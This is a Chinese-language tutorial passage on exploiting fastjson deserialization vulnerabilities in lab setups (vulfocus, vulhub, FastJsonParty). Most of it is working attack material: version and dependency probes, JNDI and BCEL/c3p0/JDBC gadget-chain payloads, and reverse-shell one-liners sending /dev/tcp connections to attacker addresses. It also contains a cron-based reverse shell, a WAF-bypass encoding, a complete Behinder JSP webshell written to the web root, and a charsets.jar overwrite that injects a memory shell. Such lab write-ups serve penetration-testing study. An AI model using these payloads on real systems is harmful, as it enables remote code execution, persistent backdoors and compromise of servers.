[{"@type":"java.lang.Exception","@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"},{"@type":"java.lang.Class","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException","newAnnotationProcessorUnits":[{}]}}},{"username":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"test"},"password":"admin"}]

// 第二步
{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"ognl.OgnlException","_evaluation":""}},"su16":{"@type":"ognl.Evaluation","node":{"@type":"ognl.ASTMethod","p":{"@type":"ognl.OgnlParser","stream":{"@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"java.util.Locale","language":"http://127.0.0.1:8085/?test","country":{"@type":"java.lang.String"[{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"C:/Windows/win.ini"}]}}},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[36]}]}}}},"su17":{"$ref":"$.su16.node.p.stream"},"su18":{"$ref":"$.su17.bOM.bytes"}}

0x04 测试环境搭建

这一节整理fastjson常见的漏洞验证和特定版本下的利用环境,在靶场环境中测试上文中对fastjson版本的探测,JNDI注入、命令执行回显、内存马等利用方式验证。大部分基于docker的环境可以通过vulfocus进行管理:

// 拉取镜像
docker pull vulfocus/vulfocus:latest
// 创建容器,-e VUL_IP=xxx.xxx.xxx.xxx 为 Docker 服务器 IP ,不能为 127.0.0.1。
docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=192.168.11.179 -e EMAIL_HOST="192.168.11.179" -e EMAIL_HOST_USER="admin@vulfocus.com" -e EMAIL_HOST_PASSWORD="PassWord@2024" vulfocus/vulfocus
// 创建后查看容器ID后启动容器
docker start a6ca90309735

如本文进行fastjson漏洞环境的搭建,在一键同步后搜索fastjson的漏洞环境进行下载,然后到首页启动靶场:

vulhub靶场的环境也可以很方便的导入vulfocus,从docker-compose.yml中复制镜像名称:

拉取成功后会自动更新镜像列表(注意不要填错镜像地址,否则会卡在下载状态):

fastjson-1.2.24-vulhub

这是使用vulnhub中的fastjson-1.2.24环境,因为这个环境里没有太多可利用的依赖,所以主要利用方式是使用JNDI注入。在burp中先将GET请求转为POST请求,修改Content-Typeapplication/json,即可进行fastjson漏洞测试:

版本判断:通过是否报错初步判断版本为1.2.24:

//不报错:1.2.24 / 1.2.83,报错: 1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}

//不报错:1.2.24-1.2.68,  报错: 1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}

//不报错:1.2.24, 报错: 1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

依赖判断:通过探测依赖环境判断目标环境可以进行哪些攻击:

// 通过缓存类判断(存在下列类)
// JdbcRowSetImpl
{"age":25,"name":{"z": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}}}
// TemplatesImpl
{"age":25,"name":{"z": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}}}
// springframework
{"age":25,"name":{ "z": {"@type": "java.lang.Class","val": "org.springframework.web.bind.annotation.RequestMapping"}}}
// tomcat
{"age":25,"name":{ "z": {"@type": "java.lang.Class","val": "org.apache.catalina.startup.Tomcat"}}}

// 也可通过报错判断
{"age":25,"name":{"x": { "@type": "java.lang.Character"{ "@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}}}

根据上述依赖判断后,可以先尝试进行JNDI注入,使用JNDI-Injection-Exploit-Plus工具启动对应服务:

java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C "要执行的命令" -A x.x.x.x

这里要执行的命令使用反弹SHELL命令,因为存在特殊符号,在JAVA中使用Runtime.getRuntime().exec()要进行编码:

// 反弹shell命令
/bin/bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
/bin/bash -c exec 5<>/dev/tcp/x.x.x.x/888;cat <&5 | while read line; do $line 2>&5 >&5; done 

// https://r0yanx.com/tools/java_exec_encode/  通过在线网站进行编码
bash -c {echo,xxxx}|{base64,-d}|{bash,-i}

// 监听shell
ncat -lvp 6666 -k

// 保持shell不中断(需要自定义编写class) 
https://www.baifachuan.com/posts/bedb840d.html
// 手动编写Class
https://www.svenbeast.com/post/c0VE5mjC-/
// JAVA OS命令注入
https://b1ngz.github.io/java-os-command-injection-note/

工具有三种类型的利用方式,这里使用的是JNDI Remote Refenrence Links,且不知道目标环境的JDK版本,所以先尝试使用支持版本较多JDK8ldap发送Payload:

{"age":25,"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1389/remoteExploit8", "autoCommit":true}
}

此时在服务器上接收到了目标环境的反弹shell:

使用JNDIExploit 工具继续进行Payload的测试,可以在这个靶场中使用/Basic/TomcatEchoTomcatBypass/TomcatEcho载荷执行命令回显:

使用/*/TomcatMemshell3/*/GodzillaMemshell注入冰蝎3或哥斯拉的内存马:

fastjson-1.2.45-jdk8u342

使用FastJsonParty/1245-jdk8u342进行环境搭建,需要绕过JDK高版本限制进行JNDI注入利用。主要可以利用fastjson原生反序列化链,通过原生反序列化漏洞执行字节码,实现内存马等功能。环境搭建完成后,可以访问/tologin进入登陆页面抓包,账户和密码通过JSON格式进行传输:

通过报错信息获取版本信息:

{"@type": "java.lang.AutoCloseable"

寻找高版本下可进行利用的类,首先可以利用类转换异常报错探测环境信息。当类不存在时,没有异常信息:

{"x": {"@type": "java.lang.Character"{"@type": "java.lang.Class","val": "javax.el.ELProcessor"}}

当探测到存在可利用的类时,抛出异常:

{"x": {"@type": "java.lang.Character"{"@type": "java.lang.Class","val": "org.apache.catalina.users.MemoryUserDatabaseFactory"}}

所以这个环境中还可以尝试org.apache.catalina.UserDatabaseorg.apache.catalina.users.MemoryUserDatabaseFactory的写文件利用方式。这里就直接使用fastjson原生反序列化利用链,通过java -jar JNDIBypass.jar -a 0.0.0.0 -p 1388 -ms behinder_shell启动ldap服务,然后使用1.2.47的POC:

{"1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "2": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x:1388/J13Rf", "autoCommit": true}}

执行后服务端返回了set property error, autoCommit错误,但内存马已经成功注入:

fastjson-1.2.47-dbcp-bcel

fastjson-local-echo是一个在fastjson1.2.47tomcat-dbcp依赖环境中进行命令执行回显测试的环境,可根据需要调整具体版本,适用的依赖环境和当前配置的依赖版本如下:

  • fastjson <= 1.2.24、1.2.33 <= fastjson <= 1.2.47
  • jdk < 8u251
  • 存在tomcat-dbcp依赖

可以通过该项目测试基于tomcat-dbcpfastjson rce回显,使用Mavenpackage命令将项目打包成jar包:

然后使用jdk8u241版本启动jar包:

如果是更高版本(JDK8u251)时,使用DBCP+BCEL利用方式时会抛出异常:

fastjson-local-echo提供了POC和回显利用的代码。使用jdk8u241javacSpringEcho.java编译为.class文件,然后需要将其转换为bcel字节码编码格式,项目自带的BCELEncode.java似乎存在点问题没能输出完整的字符串,这里通过Fastjson-BCELCoder项目转换下即可:

然后就可以通过bcelSpringEcho载荷进行命令执行回显了,使用fastjson1.2.47的POC:

{
    "xx":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
            }
        } : "xxx"
    }
}

使用JMG生成冰蝎内存马:

注入并连接成功:

fastjson-1.2.47-c3p0

fastjson-c3p0项目是一个使用fastjson1.2.47c3p0依赖进行不出网回显利用的测试环境:

对于c3p0的二次反序列化利用,首先通过com.mchange.v2.c3p0.WrapperConnectionPoolDataSource类的ReadObject()触发第一次反序列化,然后利用其他本地反序列化链执行字节码,实现命令回显等功能。将项目通过IDEA 打包成JAR包后启动,项目中使用了commons-collections 3.1依赖,所以可以使用项目中自带的CC8利用链(可以使用ysoserial工具生成)进行命令执行回显测试:

在上文fastjson-1.2.45-jdk8u342测试环境中我们针对高版本的JDK环境使用了fastjson原生反序列化利用链,那么同样也可以针对该环境写入内存马。在fastjson-1.2.45-jdk8u342环境中,是通过JNDI触发的反序列化漏洞,该环境的利用需要进行二次反序列化,所以需要拿到JNDI返回的反序列化载荷,然后通过c3p0的反序列化漏洞执行后续利用链。

第一步通过JADX反编译JNDIBypass.jar工具,可以找到Base64编码后的内存马载荷:

内存马访问地址和密码:

第二步需要将载荷转换为c3p0需要的十六进制数据,编写处理代码如下:

import java.util.Base64;
public class Test {
    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuilder sb = new StringBuilder(length * 2);
        for (int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }
            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
    public static void main(String[] args) {
        String base64String = "YourBase64StringHere";
String behinder_shell = "rO0ABXNyABFqYXZhLn...";
        byte[] byteArray = Base64.getDecoder().decode(behinder_shell);
        String hexString = bytesToHexString(byteArray, byteArray.length);
        System.out.println(hexString);
    }
}

执行代码后就可以得到十六进制数据了:

将得到的数据填入POC对应位置(注意HEX数据末尾需要多一位,在c3p0代码中会移除最后一位):

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACE...7878;"}}

现在就可以尝试写入内存马了,发送载荷之前访问下内存马地址/behinder,返回404:

然后发送载荷,返回了500:

此时内存马地址返回200,使用冰蝎v3链接成功:

fastjson-1.2.68-jdbc

通过safe6Sec/ShiroAndFastJson项目编译为jar包搭建测试环境,在项目中添加了常用的依赖并且预设了payload

可以很方便的根据当前配置的测试环境在这个目录下来筛选可利用payload

当前搭建的环境是在可出网的环境下使用jar包形式在fastjson1.2.68JDK8u251环境中运行,没有WEB目录可以读文件或写webshell。根据上文介绍的内容,可以尝试下JDBC反序列化进行RCE。这里还是通过黑盒测试的方式来进行,先通过响应信息是否报错判断大致版本:

// 不报错:1.2.24-1.2.68
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}

// 报错: 1.2.48-1.2.83
{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

得到版本范围在1.2.48-1.2.68之间,那么就可以使用1.2.68版本的POC。先利用报错Payload探测下MySQL依赖版本:

/*
com.mysql.jdbc.Buffer  // mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider  // mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider // mysql-connect-8
org.springframework.web.bind.annotation.RequestMapping // SpringBoot回显 
*/

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "com.mysql.jdbc.Buffer"
    }
}

使用mysql-connect-8类时发现返回错误,说明存在mysql-connect-8依赖(只有8.0.19这个版本可以反序列化利用):

在项目中搜索当前版本的payloadrepo:safe6Sec/ShiroAndFastJson path:/^src\/main\/java\/com\/shiro\/vuln\/fastjson\// 1.2.68

所以还需要一个模拟MySQL服务器的工具MySQL_Fake_ServerMySQL_Fake_Server建议在Python3.7下使用避免兼容问题,MySQL_Fake_Server的载荷行为通过JDBC链接信息中的user字段指定,可以通过配置文件进行预设,这部分项目中有详细介绍。先使用MySQL_Fake_Server读取下目标环境文件:

文件读取成功,但是目标WEB服务发起了很多次请求,导致写入了很多次文件:

继续执行反序列化的利用,在MySQL_Fake_Server中需要用到ysoserial工具生成反序列化的载荷,在fastjson的利用中通过host指定远程MySQL服务器,user参数标记要使用的反序列化载荷,如这里的CC4利用链执行命令yso_CommonsCollections4_calc:

Content-Type: application/json; charset=UTF-8

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [{
                "host": "mysql.host"
            }],
            "slaves": [],
            "properties": {
                "host": "127.0.0.1",
                "user": "yso_CommonsCollections4_calc",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true"
            }
        }
    }
}

实际利用中仅执行命令满足不了需求,需要使用增强的ysoserial工具来实现内存马等功能:

可以查看该工具的使用方法:

// 原始执行命令版本
java -jar ysoserial.jar CommonsBeanutils192NOCC "calc" 
// 执行类注入内存马
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromThread"  # TomcatListenerMemShellFromThread

掌握了使用方法,接下来就需要修改下MySQL_Fake_Server的配置文件,使用MemShell用户名时便通过ysoserial返回内存马的利用载荷(CommonsCollections4 CLASS:TomcatListenerMemShellFromThread):

另外在这个ysoserial工具中也有fastjson的原生反序列化利用链,同样可以实现内存马的注入:

修改完配置后重新启动MySQL_Fake_Server,然后发送payload

WEB服务器和MySQL_Fake_Server显示如下:

然后就可以使用内存马了。内存马的使用方式还需要阅读下修改版本ysoserial内存马源码TomcatListenerMemShellFromThread.java,先尝试下命令执行内存马:

根据代码逻辑需要添加请求头,进行命令执行并回显:

内存马同样添加自定义的请求头即可:

fastjson-1.2.68-writefile

FastJsonParty项目中有对fastjson1.2.68文件读写利用方式的环境和详细write-up进行参考。这部分就来实际复现下write-up中写webshell、写计划任务、覆盖charsets.jar、写Class类几种通过写文件获取RCE的方式。

写WEBSHELL

webshell的利用方式需要目标环境可解析JSP,使用1268-writefile-jsp环境进行测试。通过报错方式获取fastjson版本为1.2.68,并且可以得到是tomcat8.5.95:

探测下写文件依赖org.apache.commons.io.Charsets(2.6-)或org.apache.commons.io.file.Counters(2.7+)是否存在:

那么可以利用commons-io-2.6及以下Poc读写文件,先尝试读取/etc/passwd,通过返回错误内容判断是否成功读取文件,文件内容开头不是root时,返回not close json text:

文件内容开头为root时,返回 set property error:

说明可以成功读取文件。接下来就需要探测WEB绝对路径,需要通过file://协议列出目录进行字节码对比,根据目标情况逐步探测目录,简单修改readfile.py进行目录枚举(file协议也可以替换为netdoc协议):

一直枚举目录直到找到web目录

写入的内容需要大于8192字符,尝试写入冰蝎webshell:

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%><!-- a*8192  --%>"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/usr/local/tomcat/apache-tomcat-8.5.95/webapps/ROOT/shell.jsp",
        "encoding":"UTF-8",
        "append": false
      },
      "charset":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

写入并连接成功:

写计划任务

Linux下计划任务时需要root权限,可以将文件写入到/etc/cron.d文件夹下。参考格式:

\n\nSHELL=/bin/bash\n\n* * * * * root bash -i >& /dev/tcp/192.168.11.1/6666 0>&1\n\n#aaaaa

使用写计划任务环境 1268-jdk8-writefile时因为镜像架构不兼容,只有手动重新构建一个镜像,先从启动失败的容器中复制需要的文件到本地:

docker cp <container_id_or_name>:/tmp/start.sh /tmp/start.sh
docker cp <container_id_or_name>:/var/app/1268-writefile.jar /tmp/1268-writefile.jar

编写Dockerfile文件:

# 使用 CentOS 作为基础镜像
FROM centos:7

# 作者信息
LABEL maintainer="yanghaoi"

# 更新系统并安装 JDK 8
RUN yum -y update && \
    yum -y install java-1.8.0-openjdk-devel && \
    yum -y install cronie && \
    yum clean all

# 设置 JAVA_HOME 环境变量
ENV JAVA_HOME /usr/lib/jvm/java-1.8.0-openjdk

# 显示 Java 版本以确认安装成功
RUN java -version

# 设置工作目录
WORKDIR /app

# 将启动脚本和应用程序复制到工作目录
COPY start.sh /var/app/start.sh
COPY 1268-writefile.jar /var/app/1268-writefile.jar

# 赋予启动脚本执行权限
RUN chmod +x /var/app/start.sh

# 指定启动脚本为容器启动时的执行文件
CMD ["/var/app/start.sh"]

使用docker build -t centos-jdk8 . 命令构建镜像后启动容器: docker run -d --name 1268writefile -p 18080:80 centos-jdk8。还是通过报错方式探测版本和依赖,这个环境里存在WAF,可以将@type编码为"\x40\u0074\u0079\u0070\u0065进行绕过:

不存在org.apache.commons.io.file.Countersorg.apache.commons.io.Charsets,考虑试试依赖JDKPayload,编写一个crontab文件进行反弹SHELL

通过Python脚本编码为Base64

# 将文件压缩后转为base64
import zlib
import base64

def compress_file_to_base64(file_path):
    # 读取文件内容
    with open(file_path, 'rb') as file:
        file_content = file.read()
    
    # 压缩文件内容
    compressed_content = zlib.compress(file_content)
    
    # 将压缩后的内容转换为 base64 字符串
    base64_str = base64.b64encode(compressed_content).decode('utf-8')
    
    return base64_str

# 示例用法
file_path = 'crontab'  # 替换为你的文件路径
compressed_base64_str = compress_file_to_base64(file_path)
print(compressed_base64_str)

发送JDK8环境下写文件的载荷,成功获得反弹会话:

{
    '\x40\u0074\u0079\u0070\u0065':"java.lang.AutoCloseable",
    '\x40\u0074\u0079\u0070\u0065':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '\x40\u0074\u0079\u0070\u0065':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '\x40\u0074\u0079\u0070\u0065':'java.io.FileOutputStream',
           'file':'/etc/crontab',
           'append':false
        },
        'infl':
        { 'input':'Bye_Base64'
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

覆盖charsets.jar

继续使用写计划任务这个环境来实现覆盖charsets.jar注入内存马。首先需要制作用来执行注入内存马的charsets.jar

1.charsets.jar路径遍历

这个环境没有配置commons.io依赖,并不能通过枚举目录的方式获得完整路径,只有尝试所有可能的路径写入,写入失败时会抛出异常,所以可以先尝试写入测试文件:

测试环境可以通过以下命令查看一下:

ls -lrt /etc/alternatives/java

在项目spring-boot-upload-file-lead-to-rce-tricks中存在一个常见依赖的路径字典,因为可以通过依赖检测确定是JDK8,与上面实际的路径对比就会发现,只需要暴力破解其中的版本号1.8.0.282.b08中的282.b08即可:

而版本号信息可以通过更新记录,如jdk8u/tags中获得:

/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.[jdk8u/tags]-[1-10].[el7_9].x86_64/jre/bin/java

这样来看还是大概率遍历到真实路径的。

2.编译charsets.jar

编译覆盖目标环境的charsets.jar时,需要根据目标JDK版本选择maven项目的JDK版本,如靶场环境是JDK8:

新建一个名为charsetsmaven项目, 项目使用探测到的JDK对应版本:

然后在spring-boot-upload-file-lead-to-rce-tricks项目中将src下的文件复制到项目中:

接下来需要准备内存马的注入代码,编写到IBM33722.java这个文件中,使用pen4uin/java-memshell-generator内存马生成工具生成一个内存马:

可以先生成JSP文件,对照编写JAVA代码:

JSP中是将Base64编码的.class字节码还原后进行实例化,所以根据逻辑在IBM33722.java编写对应的JAVA代码:

加载内存马代码如下:

package sun.nio.cs.ext;
import java.util.UUID;
public class IBM33722 {
    static {
        fun();
    }
    public IBM33722(){
        fun();
    }
    private static java.util.HashMap<String, String> fun(){
        String bytecodeBase64 = "yv66...";
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        try {
            classLoader.loadClass("org.apache.logging.e.EncryptionUtil").newInstance();
        } catch (Exception e) {
            try {
                java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                byte[] bytecode = null;
                try {
                    Class base64Clz = classLoader.loadClass("java.util.Base64");
                    java.lang.reflect.Method getDecoderMethod = base64Clz.getMethod("getDecoder");
                    Object decoder = getDecoderMethod.invoke(null);
                    java.lang.reflect.Method decodeMethod = decoder.getClass().getMethod("decode", String.class);
                    bytecode = (byte[]) decodeMethod.invoke(decoder, bytecodeBase64);
                } catch (ClassNotFoundException ee) {
                    Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
                    java.lang.reflect.Method parseBase64BinaryMethod = datatypeConverterClz.getMethod("parseBase64Binary", String.class);
                    bytecode = (byte[]) parseBase64BinaryMethod.invoke(null, bytecodeBase64);
                }
                Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
                clazz.newInstance();
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        return null;
    }
}

在项目结构中设置工件,主类默认构建jar包:

然后将生成的JAR包通过上文的Python代码转为zlib压缩后的Base64字符串。

3.覆盖目标charsets.jar

尝试覆写charsets.jar文件后,响应信息没有抛出异常说明可能成功了:

4.触发内存马

使用载荷触发字符集解析进行jar加载:

{
    "x":{
        "@type":"java.nio.charset.Charset",
        "val":"GBK"
    }
}

返回的异常信息似乎已经触发了jar包加载,配置好密码和请求头尝试访问内存马地址,发现可以成功链接:

接下来可以考虑根据环境目标JDK版本恢复原始charsets.jar文件。

写Class文件加载

